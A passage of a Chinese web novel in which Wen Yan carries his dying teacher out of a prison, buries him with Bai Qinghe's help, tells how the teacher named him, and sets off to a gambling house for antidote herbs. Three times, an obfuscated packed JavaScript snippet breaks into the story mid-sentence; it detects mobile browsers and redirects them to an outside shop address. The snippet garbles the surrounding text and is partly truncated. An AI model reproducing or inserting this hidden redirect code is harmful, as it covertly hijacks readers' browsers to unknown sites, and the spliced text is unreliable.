那时候,他总被街上的铺子老板们像撵老鼠那般追着打,运气好点,就会被偶尔路过的老先生给护在怀里;老先生总会好声好气地付了钱,再给他买个热腾腾的馒头,一老一小的两个人,就这么牵着手往学堂走去。 “先生说得哪里话,往后该换我来护着先生了。” 温言一步步走到了地牢入口处,刚要踏出去,就见巡检司的院墙外同时跃下了几道身影。 柏清河眼神一凛,瞬间从石墩上站起身,短刀出鞘,拦在了那群想要冲向温言的人面前。 “不好意思啊诸位,此路不通。” 他刀尖向外一点,两方人马瞬间短兵相接,你来我往地缠斗了起来。 而坐在另一边的李符乐,在与温言目光相触时只是点了点头,没有要上前阻拦的意思。 “多谢。” 温言也点了下头,从发现没有落锁的牢门那时起,他就明白了这是对方的手笔。 说来也是,一个没什么用处的老头,爱死不死,死在哪里,对他们来说都是无关紧要的,还不如就做个顺水人情,当作什么都没看到、什么都没发生来得体面。 他就这么背着老先生,一步一个脚印地从巡检司院中横穿而过,旁边不断倒下的那些杀手及暗卫的身影,铺垫着柏清河给他开出的一条血路。 “温言,人之将死,能知天命,先生我没多久时间能絮叨了,说的话你先听着……” 老先生话说一半,又伏在温言背上剧烈咳嗽了起来,唇齿间没能拦住的血点浸染了温言肩背处的深色衣衫,开出了一朵不甚明显的血花。 温言死死咬着牙,嘴唇发抖,感受到肩胛的一片湿润,强忍着才没落下泪来。 “我这辈子,实在是没什么能拿得出手的实绩,少时自以为饱富才情,可直到中年都没能考取半个功名,没办法,混不下去了,才在这皇城里开了个小破学堂,想着若是能将毕生所学传授于他人,也算是功德一件……” “这学堂开了悠悠几十载,可没出息的先生,自然也教不出什么有出息的学生,大部分孩子,能在背诗词歌赋时不打瞌睡,我都要烧香拜佛了,”老先生说着,像是想起了什么好玩的事儿,低低地笑了两声,“后来我老了,更是给这些来来往往的孩子们惯得没边……” “直到我遇见了你,你那时候多小啊,也就跟那窗框差不多高,灰扑扑的一张小脸,就这么仰头往学堂里瞧,于是我于心不忍,分了你半个馒头……” “温言,先生我这一生碌碌无为,哪怕是就这么结束在这里,也实在是没什么称得上后悔的事儿……硬要说的话,倘若我那时能知道现在的结局,也许就不会只掰给你半个冷得发硬的馒头了……” “我更想牵着你的手,走一遍那人声鼎沸的街头巷尾,再请你吃个热气腾腾的肉包子。” “温言,我喜欢通往学堂后山的那条小路,原先让你别老翻墙来,你总也不听……之后你就把我埋在后山吧,那里的花估计快落完了,未来你要是想来看我,就顺手带点新种子种下,再向前走吧……” 老先生的脑袋越趴越低,说到最后这句话时,声音低得几乎是耳语,随后脑袋一歪,靠在了温言肩头,就这么沉沉地闭上了双眼,再没了半分动静。 温言抬脚迈过了巡检司大门的门槛,他低垂着脑袋,胸膛起伏,眼泪顺着脸颊滚落,转瞬便没了痕迹,只留他一个人被压弯了脊背,久久驻足在了原地。 54.后山 柏清河紧随其后从巡检司内走了出来,一甩短刀上的血迹,正准备寻个话头向温言邀功,转头却直直撞上了温言脸上未干的泪痕,顿时明白了什么,自觉此刻说这些实在是有些不合时宜,只好沉默地将短刀收刀入鞘,重新挂回腰间,随后朝着双臂抱胸站在巡检司内的李符乐摆了摆手,谁也没管那院内的一片狼藉,就这么一前一后地走远了。 温言就这么执拗地背着老先生,步伐缓慢,几乎可以说得上是一步一顿,引得周围路人纷纷侧目,却又因为旁边跟着个不断散发出低气压的柏二少爷,他们心中哪怕是有再多疑惑,也只敢匆匆一瞥便收回了视线。 两人就这么沉默着一起走过了两三条街,沿途日光正盛,温言脸上的泪痕早已在不知不觉间被蒸了个干净,他这才哑着嗓子开了口:“柏清河,多谢。” 柏清河望着温言,心下有些不是滋味,一口气压在嗓子眼里差点没能上来,别别扭扭地说道:“你我之间,道什么谢。” 他加快了脚步,走到和温言并排的位置,一偏头,看到对方眉尾微弯,似乎是短促地笑了下。 温言回道:“说得也是。” 这话进行到这里,实在没再剩下什么发展空间,柏清河也跟着扯出了点笑意,两人又是一阵相顾无言。 “我原来……头一回来到学堂,也算是阴差阳错,”汗珠从温言脖颈处滚落,没入衣襟,他却仿佛浑然未觉,自顾自地挑了个话头,像是在讲给柏清河听,又像只是单纯地陷入了某种回忆中,需得一吐为快,“我那时候跟老乞丐大吵了一架,理由是他要我陪他去演戏,演一出落魄爷爷与病秧孙子的戏码,去沿街乞讨,看能不能利用路过行人的同情讨得些银钱和食物……” “我当时偏不肯,认为这是在骗人,是很坏的行为,所以一气之下就跑了出去,兜兜转转,逛了一整日,也没能捡到一点食物,却又死犟着口气,不愿意回去跟老乞丐低头,最后实在是饿得不行了,听到学堂里传来的读书声,这才鬼使神差地溜了进去。” 那时候的老先生,甚至还不能被称之为“老先生”,因为他还未长出那满头白发,就连脸上的皱纹,也不过才零星两三条,除开笑起来的时候会皱得满脸褶子,其余时分都只是一位普普通通的中年人模样。 至少那时的小温言踮着脚从窗口望过去,只见着了个一手拿着戒尺,一手拿着书卷,想要装出副严厉样,却实在是有些不得其法的教书先生。 那些朗读书卷的孩子们本就不怎么专心,不知是哪位眼尖的,瞬间便见着了那颗在窗台边探头探脑的小脑袋,立马好事儿地拍了拍身边人,指了下方向,随即前后左右好几个孩子一同掩耳盗铃般竖起书卷,交头接耳了起来。 起先,老先生并未发现这异常,直到屋内传出了阵阵窃窃私语,混着低笑,逐渐盖过了朗读诗词的声音,老先生才眉头一皱,用戒尺拍了两下桌案:“一个个的,不好好读书,都在交头接耳地说什么呢?” 孩子中自然不乏有胆子大的,朗声答道:“先生,那儿有个小乞丐在偷看我们!” 这群孩子闻言,又爆发出了一阵哄笑声。 小温言此时虽然大字不识,却也能听明白这笑声中混杂着的不怀好意,于是瞬间缩回了脑袋,有些不知所措地蹲在窗框下,手指交缠在一起,努力抑制着眼眶中即将溢出的眼泪。 “站着,站好了。”老先生的声音从小温言头顶的窗口处飘了出来,语带训斥,“……好好反思你犯的错,若是想不通,你明日便不用再来了,我这里虽然只是个小学堂,却也无心培养一个不懂礼仪的人。” “可他分明就是个乞丐,先生,我说错什么了?” “乞丐也是人,”老先生铿锵有力地回答了这个问题,“当你在说话间只是把他当成了一个可以供你嘲弄的对象时,你便错了。” 小温言绞紧的手指指尖泛白,动作却停顿了一瞬。 随后不知又过了多久,学堂内从几乎寂静的沉默到又传出了朗朗读书声,再到一道道欢快的脚步声响起,小温言始终蹲在原地,腿脚发麻,老先生手肘撑在窗口瞧向他时,他差点没能顺利从地上站起身。 老先生就这么静静地低头看着他,大概也是生平头一回遇到这种场景,实在是不知道该说些什么当作开场白,最终还是小温言鼓足勇气开了口:“先生……他们都讨厌我,为什么?” “是我做错了什么吗?”小温言说着,眼眶也跟着泛红,“是因为我没爹没娘,他们才讨厌我的吗……这也是我的错吗?” 老先生抬手擦去了小温言脸上的灰尘,又在对方的头顶上揉了揉:“这不是,孩子,这不是你的错,你什么都没做错。” 小温言的眼泪瞬间就止不住了。 “怎么还哭起来了……是饿了吧孩子,我这也实在没什么好东西,你就跟着我凑合一下吧,”老先生从小温言压抑的哭声中分辨出了对方肚皮下传来的哀嚎,顿时有些哭笑不得,只好从自己那随身携带的小布袋中翻出了个馒头,一分为二,塞了略大一些的那个到对方手中,“你瞧,你还愿意跑到学堂里来,蹲在外面听那么久的书,已经比我那些个不成器的学生们强不少了。” “我那时哭得上气不接下气,又忙着往嘴里塞东西,实在是没好意思告诉他,”温言侧头说道,“先生,其实我那时候是饿得走不动道了,才停在学堂的。” 可当年就为了不拆穿这么一个小乌龙,温言往后三天两头就往学堂里跑,竟还真从老先生那儿学到了些诗词歌赋,从大字不识一个的文盲乞丐摇身一变,成了个凑合着还能吟两句的乞丐。 “柏清河,你饿不饿?” 这话问得实在是有些突然,柏清河还沉浸在温言所讲述的故事中,突然被这么当头一问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430545|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正想摇头,却又不知道脑子里搭错了哪根筋,还是望着温言点了点头:“有点。” ……他记得他娘说过,有时候对方问你要不要,并不是真的在询问你的意见,而是因为对方有这个想法。 这套逻辑在他爹娘经年累月的日常相处间经久不衰,柏清河心下琢磨了两秒,望着温言汗津津的脖颈,最终认为在眼下场景,应当是可以借鉴这份行事逻辑的。 “我也有点饿了,钱袋在左边,你拿着去买两碗馄饨吧,”温言朝着斜前方一家挂着旗帜的铺子一扬头,“就那家。” 好,看来是猜对了! 柏清河心下暗戳戳地喜不自胜了一番,面上则是颇为臭屁地跟着一扬头:“说过了,跟我柏二少爷出门,永远都用不着你花钱。” 说罢,他就摇头晃脑地小跑去了被温言指定的那家铺子,不一会儿,便提回了两碗馄饨。 “刚出锅,热乎着呢。”柏清河凑到近前,献宝似的拎高了几分。 温言被他这股屁颠颠的劲儿给逗乐了,只好有些没辙地摇了摇头,没再搭这个腔。 “那后来呢?”柏清河成功讨得了个笑脸,更加不要脸地追问了起来,“后来你和这位老先生之间还发生过什么有趣的事?” “哪有那么多有趣的事,”温言勾起嘴角,朝着前面一点头,“看,那面墙就是我最常翻的,先生那时候总说我,翻墙实非君子所为,要我走正门……不过我想了想,我实在算不上什么君子,也就从来没听过。” 话是这么说,可这回温言硬是带着柏清河兜了个大圈子,走到了落着锁的正门处。 “落锁了,怎么进去?” 柏清河说着,伸手就要去拉面前的锁扣。 这一拉,竟然还真将门上的锁扣直接给拉开了。 “咦?”柏清河奇道,“原来没锁?” 温言也不免有些诧异,想起了自己之前几次造访,都是看着正门落锁便直接从侧面的墙翻了进去,却从未想过,或许这个锁从来都只是摆着给外人看的,从来都没有在任何一个休沐日将他拒之门外。 这扇门原来从来都是为他敞开的。 温言心下想着,喉间忍不住发出了一声自嘲的轻笑。 先生啊,学生本就不聪明,这一下可把真把我给骗惨了。 温言领着柏清河走向学堂后山,那里的花确如老先生所料那般,已经凋谢得只剩下寥寥几朵,颇有些风韵残存的诗意,唯一始终屹立不倒的,是那棵非要朝着墙面长的老银杏树,金黄的树叶落了满地,像个遮挡着松软土壤的黄金盖头,倒也不失为一种好寓意。 就连柏清河都忍不住叹道:“原来这里还有这么一处风水宝地。” “是啊,”温言这才单膝跪地,将背上的老先生轻缓地放了下来,靠在老银杏的树干处,“先生特意挑的地方,自然是最好的。” 55.名字 墙面处竖着把铲土的大铲子,是老先生每年秋季过来这边翻土种菜所用,温言走过去拿了起来,发现上面并没有多少灰尘。 也许是老先生临走前刚用它松过土,准备等到时候花谢完了,就在这儿同往年般种上三两野菜——也不管这些野路子出家的菜到底能不能真的长大成熟,都不失为老先生所信奉的一种生活乐趣。 温言拿着这铲子刨了两下,手上的活儿就瞬间被柏清河抢走了。 “你重伤未愈,这种纯体力活还是由我来吧,一不小心拐走了他最喜欢的学生,这点事也当是我孝敬他老人家的,”柏清河不由分说地抢走了温言手上的铲子,”你去老先生房间转转,看看有没有什么要一起放的,或者就坐在旁边陪我聊天也行。” 温言心下一暖,同时也被柏清河这话给提醒了,老先生屋内的陈设简直可以说得上是清贫,唯一给温言显摆过两回的,就是一个小小的木匣子,可直到现在,温言也不知道那其中到底装了些什么稀世珍宝。 可他也不忍心真的就把柏清河一个人丢在这儿刨坑,于是匆匆朝老先生那间房跑去,不多时,又抱着个小木匣子跑了回来。 “嚯,这么快。”柏清河刨坑刨得确实卖力,就这么一会儿,一个凹面已经成形了,“……就拿了这么一个小匣子?” “嗯。” 温言点了点头,就这么席地坐在了老先生和柏清河中间。 “柏清河,你之前问有趣的事,有一件也许算。”温言双手放在膝头,撑着下巴说道,“我的名字,其实是先生给我取的。” “毕竟我那时候只是个被老乞丐捡回去的孩子,老乞丐自己也没读过几本书,取不出什么名字,后来我又跟着他被叫做小乞丐,名字这事儿……没人在意,也就都给忘在脑后了。”温言笑了笑,“直到有一天,先生突然问我,说咱们见了这么多次面,哪怕算不上行了拜师礼的师生,也算熟人,问我叫什么名字。” 那时候的小温言自然答不上来这个问题,于是只好怏怏地说道:“……没有。” “什么?” 好像这件事实在是有些难以启齿似的,小温言犹豫再三才又说了一遍:“没人给我取名字,我没有……名字。” 老先生顿时哑然,可仔细一琢磨,又觉得这事儿也确实不难理解,用老乞丐那种通俗的语言来说就是——哪有脑子有病的会去在乎一个乞丐的名字。 小温言见老先生没说话,脸色瞬间有些涨红,像是羞的。 “没事,没名字也好,咱们正好可以来想一个你喜欢的名字,”老先生沉吟半晌,牵着小温言的手,将人上上下下仔细打量了好几遍,“嗯……你这孩子,性子温吞,哪儿都好,就是话少了点,别人说什么你都说好……我想想,不如就叫……温言吧。” 小温言的眼睛瞬间亮了,见老先生一笔一划地在白纸上写下了这两个字,立马对着念了好几遍,面上的喜悦不加掩饰,就这么仰头冲着老先生笑开了花:“温言好,读着顺口,我喜欢这个名字!” 老先生曲起手指,轻轻敲了下小温言的脑门:“只是读着顺口就满意了?” “嗯,先生给我取的名字就是最好的,”小温言又强调了一遍,“我喜欢这个名字。” “好好,你喜欢,那就要记牢了,”老先生摸着小温言的脑袋,“以后若是别人问起你,记得要好好告诉对方,你叫温言。” “嗯!” 被当面取名字这事儿其实是个非常奇妙的体验,与柏清河他们这种从出生开始就被父母安排好了名字的感受截然不同,就好像从那一瞬间开始,“温言”这条生命终于被赋予了一层意义。 如获新生。 原来如此。 柏清河不由得想道,难怪自己曾经问哥哥识不识得这皇城中姓温的人家,得到的是否定的答案,原来“温”根本就不是姓。 “这事儿发生在我们相遇之后吗?”柏清河活动了下肩膀,转头问道。 毕竟他可还清楚地记得,自己当时并没有问到温言的名字,否则后来也就不用那么费力不讨好地去缠着老乞丐了。 然而温言却摇了摇头:“不,在那之前。” “因为在那种情况下,即使是有了名字,也没人会这么叫我……我总不能对着每一个冲我叫‘小乞丐’的人反驳说‘我有名字,我叫温言’,那也太蠢了。”温言说这话时甚至模仿了小孩儿的语气,听着让人啼笑皆非。 “所以那时候,你问我叫什么名字,我没回答你,是因为那一瞬间……就连我也差点忘了。”温言有些自嘲地说道,“见谅啊。” 柏清河停下了手中的动作,似乎是想要说些什么,可低头看了看自己已经沾上了不少灰土的双手和衣袖,最终还是没朝温言那边走过去,沉默地接着下起了铲子。 温言却仿佛心领神会到了对方的意图,也没说什么,只是笑了笑。 柏清河铲土的速度之快,效率之高,确实是现在的温言所无法比拟的,两人就这么一站一坐,有一搭没一搭地聊着天,太阳还未西下,一个足以容纳一人的土坑便已经挖好了。 “都说了,这种体力活直接丢给我来干就行。”柏清河的衣襟早已在不知不觉间被扯松了不少,他大汗淋漓地一屁股坐在了温言身边,浑身透出的那股劲儿,就差直接在胸前写上“快来夸我”这几个大字立在温言面前晃悠了。 “是是,你最厉害了。”温言点着头从袖袋中翻出了一块手帕,丢到了柏清河脸上,“把汗擦擦。” 柏清河先是将手帕搭在鼻子前闻了闻,随即将其收入了袖袋中,又从另一边拿出了自己随身带着的那块,擦了擦脖子上的汗。 将这一切尽收眼底的温言:“……不用就还我。” “不,”柏清河一扭头,颇有些无赖地笑着说道,“你给我了就是我的。” “一股中药味儿,也 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温言的眼眶几乎是瞬间便红了。 ……这封绝笔里,字字句句间,都包含有他的身影,就像位始终放心不下自家孩童又找不出何处可依托的大人,点滴关怀,一丝不漏,全部囊括于其间。 温言沉默着重新折好了纸张,将其压平放入了木匣,妥帖地安置在了老先生头边。 “这里面写了些什么?”柏清河自然也看到了纸张飞起的瞬间,再结合温言脸上的表情,倒也不难猜出其间内容与谁有关,忍不住问道,“你不留下它吗?” “……不了,”温言再次摇了摇头,“故人之物,留着……也不过是徒增伤怀。” 柏清河从后边走过来,曲起手背蹭了蹭温言的脸颊,有些没头没脑地感慨了一句:“温言,你可千万别哭啊。” 温言脸上不可避免地被蹭上了灰尘,转头发出了一个疑惑的音节:“嗯?” ……这人又在无理取闹地说什么呢? “你要是在这儿哭了,被他老人家的在天之灵看见,怀疑是我给你弄哭的,那我可多冤呐,”柏清河伸手指了指头顶,”他老人家若是之后托梦来骂我一顿,我都没处说理去。” 温言眨了眨眼,被这么一打岔,情绪过了,倒还真哭不出来了:“……惯会贫嘴。” 柏清河脸皮厚如城墙,向来把这种话当夸奖听,嘿嘿一笑,自觉地又拿起了那把被他丢在一旁的铲子,朝温言赶人似的摆摆手,示意这填土的活儿他也一道做了得了,就温言现在这副孱弱身子,只用充当个靠在树下陪他说话逗闷的桩,保证是活着的、能喘气儿就行。 温言明白柏清河这番举动下的心意,刻意转开头,避过了去看老先生那被土一层层逐渐掩埋的面容,靠在老先生先前靠着的树干处,听柏清河前言不搭后语地讲一些糗事。 56.良木 “……于是我又将那些爱得瑟显摆的‘好孩子’们给揍了一顿,所以我那阵子特别不受教书先生的待见,因为他觉得我不学无术,就是个脑中空无一物的武夫之流,用文邹邹的话怎么说的来着……哦,孺子不可教也,”柏清河手下动作不停,“哎,不过他倒也没说错,现在要是让我去吟诗作对,指不定一开口就得让那些个文人书生笑掉大牙了……我们家好像真只出了我哥一个读书人,还是个不考科举潜心求商的,啧,传统啊……” 温言接话道:“武夫能当成柏大帅那样,也是天下唯一绝无仅有了。” “哎,你这话说的,我爹那臭老头要是听着肯定高兴坏了,”柏清河笑了一下,“所以为了让世人觉得虎父无犬子,我也得拼命去做出些丰功伟绩来才行。” 这倒也是。 说来惭愧,温言其实也跟这些世人一样,从见到柏清河的第一眼开始,就默认了对方一定会继承柏大帅的衣钵——至于柏清河本人有些什么想法,似乎还真没人问过。 “那你自己呢?”温言歪着脑袋向后靠,“怎么想的?” “我吧,其实挺无所谓的,”柏清河偏头看了温言一眼,“这世上许多事情,做与不做于我而言区别都不算太大,例如我爹娘想让我在皇城内韬光养晦,长大了再去继承衣钵,好放他们去周游四海,那我就依着他们的心意去做呗,到时候万一也能混着个‘大帅’的名头当当,我也不吃亏嘛……” “只要不是完全不能接受的事情,例如让我去给别国公主当驸马什么的……毕竟我现在以及未来整颗心都恨不得挂你身上了,那我是肯定不能同意的,对吧?” ……这种事儿上还能打哈哈,饶是温言都不由得佩服起柏清河这油嘴滑舌的功力了。 柏清河手下动作不停,用铲子将土堆顶部拍实了几分,凸出来的部分不过是微微鼓起了一个几近平滑的弧面……若不是温言翻看过柏清河活到现在的生平档案,他几乎都要以为这人背地里有着什么副业了,完全能充当个帮人善后的熟练工。 “来歇会儿吧,”温言望着柏清河那顺着脖子淌下来的汗,心下有些过意不去,提溜起了始终被放在一旁的两碗馄饨,“一起吃点,你先前不是饿了?” 柏清河双手在衣摆处正反擦了擦,这才从温言手中接过一碗,就着汤舀了一大勺。 “差点都忘了……可惜,已经放凉了。” “不过凉了味道也不错,”柏清河又吃了好几口,有些含混地问道,“原来好像没听你提起过,怎么突然爱吃馄饨了?” “我对馄饨没什么偏好,是先生,”温言笑了一下,“先生生前最爱吃的,就是这一家的馄饨。” 柏清河闻言,手中动作顿时一僵,望着这馄饨的眼神宛如是拿着什么烫手山芋般,有些惴惴不安地问道:“那我吃了这碗馄饨是不是不太好,这是不是该摆着去孝敬他老人家……” 温言看着柏清河那拿也不是放也不是的样,面上的笑容扩大了几分,像个恶作剧成功的孩子,过了半晌才回道:“放心吧,你要是不吃,他才会跳出来骂你是浪费粮食、暴殄天物。” “先生放心,我一定会吃得干干净净,连汤都给喝下去的。”柏清河将碗举高了几分,语气虔诚得像是在遥敬天上神明。 温言有些无奈地敲了下对方的脑门。 “先生,我要告状,”柏清河立马挺直了脊背,一只手举过头顶,像个在堂上被点起来回答问题的规矩学生,“你最心爱的学生在光天化日朗朗乾坤下暴打亲夫,请先生主持公道。” “……” 温言有些无语地沉默着,最终还是没能忍住,又伸腿朝着柏清河来了一下。 “……其情形愈演愈烈,我要告状,这是准备要谋杀亲夫!” “柏二少爷莫不是失忆了,先前可是你自己说的,还没过门呢,算什么亲夫?” “温公子此言差矣,”柏清河痛心疾首地揉了揉腿侧,幸好两人今日穿的衣服颜色都深,否则这会儿这块衣服应当已经被印上一个清晰的脚印了,“没过门难道不更应当捧在手心里怕摔了,含在嘴巴里怕化了么?” 从温言听到这番话的表情来看,柏清河应当已经被他记在心里千百回,就怕骂得不够狠了。 “你们大户人家的少爷,事儿就是多,”温言懒散地翻了个白眼,”罢了,我温某人伺候不起还躲不……” “别啊,我开玩笑的,”柏清河立马打断话头,以表忠心,“放心,以后你指东我不往西,我柏清河自荐请缨当黄盖还不行么?” “……” 温言于是又笑了起来,实在是拿柏清河这个修炼成精的狗皮膏药没法子。 柏清河大概是真的饿了,竟然真像他先前随口胡诌的那般,将这馄饨连汤都给喝了个干净。 温言虽然没吃出那饿死鬼投胎般的架势,但也把馄饨给吃了个干净,早早将碗放在了一旁,仰头望着头顶正在西下的太阳。 “你之后……准备去哪儿?”柏清河见对方不说话,于是问道,“还回去吗?” “回去”二字其实没挑明地点,说法含混,但两人对此都心照不宣。 “回不去了,”温言摇摇头,没什么所谓地说道,“跑出来了,就没地方能回去了。” “所以今日才会有人来巡检司……” 这么一说,柏清河瞬间豁然开朗,巡检司那帮蹲点的刺客果然都是冲着温言来的,只是他先前始终没能想到原因原来出在这里。 “嗯,他知道我一定会回去巡检司,将先生带出来,”温言点了下头,“这只是第一波动作快的,往后还会有多少人,我也不知道。” 以前的小乞丐温言大概怎么都不会想到,自己这条命在有朝一日竟会变得这般值钱。 “没事,来就来了,”柏清河无所畏惧地一耸肩,“就这些个虾兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是什么不是,”柏清河坐着凑近了几分,手上也跟着不太规矩了起来,指尖一绕,将温言耳畔的乱发撩至了耳后,“其实我那日从地牢出来后,想了许久,也算是想明白了不少事情……温言,你先前说你早就将答案告诉给我了,是不是指你这么些年来,都在给那个将你带出地牢的人当‘影子’?” 温言瞬间浑身一僵,放在身侧的手不由自主地攥成了拳。 “别紧张……因为他走出地牢时的身影,与你太像了,可我当时心乱如麻,直到后来才总算是将这两件事串联在了一起,”柏清河拉过温言的手,往手背上落了个几不可察的吻,“所以你曾经同我说怕死,其实是怕他,对么……可你现在跑出来了,是不怕了么?” “不怕了,”温言回头望向老先生那座没有墓碑的坟,声音轻得宛如耳语,“鸟择良木而栖,人亦如此……柏清河,从今往后,只要你需要,我会成为你最利的刀……” “不,还记得我那一屋子的破铜烂铁么,温言,我不缺刀用,”柏清河伸手抚过温言的脸颊,“我柏清河活了这么多年,从来只缺一个能同我长相厮守的枕边人。” “温言,看在我们两情相悦,我又追着你跑了那么多弯路的份上,你行行好,也该给我指条明路了……” 柏清河这人随性生长了二十年,大概是改不掉这喜欢在关键时候满嘴跑火车的破习惯了。 一阵风声呼啸而过,将温言脑后的黑发吹得肆意散开,他却突然笑了,也朝着柏清河的方向靠了过去。 “好。” 在两人唇齿相触的前一秒,柏清河终于等到了令他满意的答案。 57.赌坊 “不过在跟你去柏府之前,我们得先去一个地方。” 温言站起身,拍了拍被风吹落在身上的落叶。 “纠正一下,不是去,是回,回柏府。”柏清河难得有些咬文嚼字的本事,全用在了这种地方,“所以我们现在要去哪儿?” 温言噎了一下,倒也没反驳,算是默认了柏清河的纠正,随后说道:“去赌坊。” “成,赌坊。”柏清河吐了叼在口中的杂草,也跟着拍拍屁股站起身,“那就走吧,温公子。” 温言挑了挑眉,这下倒是真有些奇了,柏清河这货不是总喜欢问东问西探究到底么,怎么这时候却像是突然转了性了,竟然问也不问一句,就要这么跟着走了? 大概是他面上的疑惑太过明显,柏清河瞟了一眼,跟有读心术似的猜得了一二,耸了耸肩道:“你那是什么反应,反正咱俩之后是板上钉钉彻底捆死在一条船上的人了,我不需要知道那么多,也会无条件站在你这边……” “而且我知道,等你想说的时候,你都会告诉我的,不是么?” “……” 好一手以退为进。 温言望向柏清河那张面露无辜神情的脸,心里一软,什么小九九都瞬间散了,伸手在袖袋中翻出几张纸,递到了对方面前:“这是林芷在我昏迷不醒时塞给我的。” 柏清河眼睛一亮,立马将东西接过手,翻开看了看。 其实这几张纸上也没有什么特殊的内容,不过是几幅用毛笔画成的花草画像,有的旁边被标注了名字,例如何首乌,有的则是寥寥几笔,孤零零一幅图摆在纸上。 以柏清河对这些花草的知识储备,也就能勉强识得这些东西不是什么街边就能采到的杂草,大概率是些治病的药材。 于是他有些茫然地抬起了头,问道:“这是……?” “解药药材。”温言言简意赅地回答了这个问题,想了想,还是给补了几句解释,“我身体里的毒是打小被下的,经年累月,早已扩散到了五脏六腑之中,如今暂且是靠着一月一次的‘解药‘勉强压制在体内,想要彻底地清除毒素……” “说实话,据我所知,还从来没有人尝试过,林芷应该算是第一个,”温言用手点了点这几张纸,“这是她分析得出的……制作真正的解药所需的药材种类,我个人在皇城内没什么耳目,也不甚了解这些草药医术,只能去地下赌坊碰碰运气。” 柏清河越听,心下越是发沉。 没人尝试过,意味着现在他们手中拿到的这份药材单并不一定就是完全正确的,而倘若这一次没能顺利地成功做出解药,一切就又要被推翻重来……其间会耗时多久、耗力几何,都还是个完全的未知数。 可依照温言如今的处境,他已经离开了组织,满打满算,也不过就剩下一个月的光景。 这时间实在是太短了。 温言从柏清河手中抽走了纸张,重新折好塞回袖袋中,末了还不忘安抚柏清河一句:“不必太过担心。” 说得倒是挺容易。 柏清河几乎都要祈祷般地以为温言是不是还有什么始终藏着掖着的救命法宝,如今终于准备要跟他和盘托出了。 但很可惜不是。 温言不过是在心里简单算了笔账,满打满算,他确实有一整个月的时间不会毒发,再加上毒发后还有接近半个月的五感衰退期——根据这一回地牢内的经验来看,这个衰退期是完全可逆的,但再往后……大概就彻底无力回天了。 也就是说……温言宽慰般地弯了下嘴角,下宣判道:“还有一个半月呢。” 柏清河心里大起大落了一番,差点直接给他跪下:“……” 这和只剩下一个月到底有什么很大区别! 温言像是没明白柏清河为什么仍旧沉着个脸似的,还歪着脑袋感叹了一句。 “能有一个半月的好日子,已经很长了。” “……走,赌坊是吧,现在就走,”柏清河磨了磨牙,一甩衣袖,率先往外走去,“老子今天非得在赌坊帮你把东西问齐了不可。” - “客官里面请!摇骰子,推牌九,还是打叶子牌,咱们这儿统统都有,全看客官您的喜好……” 地下赌坊虽被称之为“地下”,那也只是一部分背地里的勾当,其明面上在皇城内还是有着相当大的排场和席面的,光是顶上牌匾写着金灿灿的“千金台”三个大字,便已然是家喻户晓。 进门处站着两排迎客的小厮,衣着统一,乍一看只是普通且低调的黑衣装束,可袖口和边线处却细细缝着几道金线,再往内走,荷官的衣着更是各具特色,皆用的是上等面料,不乏一些繁杂的花纹绣于其上,足可见这赌坊拥有者的阔气。 一位衣着相对朴素的女人无声游走在数个牌桌之间,其间宾客诸多赌红了眼,并未分给她半分目光,反倒是那些摇着骰子和发着纸牌的荷官频频朝她投来视线,像是十分在意一般。 有位荷官甚至被吓得手一抖,差点没能盖稳骰盅。 女人轻轻皱了下眉,收回视线,正准备抬脚朝二楼走去,环视一圈,却突然像是看到了什么有趣的事情似的,停下了脚步,挥挥手示意小厮不必再跟过来,自己则是转身朝着角落里的一桌赌局走去。 要说这赌坊,柏清河自然是再熟悉不过,回想他曾经那段花天酒地的日子,当然是没少来这种地方一掷千金。依他的身份,一般是前脚刚踏进门,这里的小厮就得将他往二楼贵宾席领去了。 不过这次有些不一样。 柏清河谢绝了小厮的领路,领着温言一路走到了最里的那张赌桌处。 说来奇怪,这一楼各个赌桌上都有着络绎不绝的人,只有这张赌桌,荷官懒懒散散地靠坐在椅子上,面前的赌客位更是空无一人。 “要想进地下去做交易,就得先过了她这关,”柏清河压低声音跟温言介绍道,“不过她这人脾气稍微有点古怪……” 温言眉头一挑,正要仔细问问到底是怎么个“古怪”法,就见眼前这位荷官距几步之遥已经睁开了双眼,远远朝他们这边望了过来。 莫非是已经听到他们的交谈了?耳力这么好? 温言几乎是瞬间便警惕了起来。 那荷官却没再有什么表示,直等到他们走到近前,才上上下下打量起了两人。 “真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529166|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好久不见啊,柏二少爷,”女荷官笑眯眯地开了口,嗓音空灵,“身边这位是……?” 在被打量的同时,温言也不动声色地扫视着眼前人。 对方容貌姣好,五官立体,眼尾处勾着根细长的红色眼线,使得她一颦一笑间神态勾人,却又因着浓妆艳抹让他有些难以判断年纪。 她说着话,自顾自地从桌后站起了身,像蛇一般轻巧飞快地拉近了两人间的距离,正要伸手攀上温言的肩膀,吐气如兰道:“真是难得见着这般出水芙蓉的玉面小郎君,小郎君你姓甚名谁,所求为何啊?” “温小郎君”沉默着后退了一步,还没来得及说话呢,另一只手从旁边行动更快地拦在了身前,抢先一步挡住了对方伸来的魔爪。 “真是不巧,这位小郎君已经有相好了。”柏清河面露假笑,咬牙切齿地说道。 “哦?谁啊?” 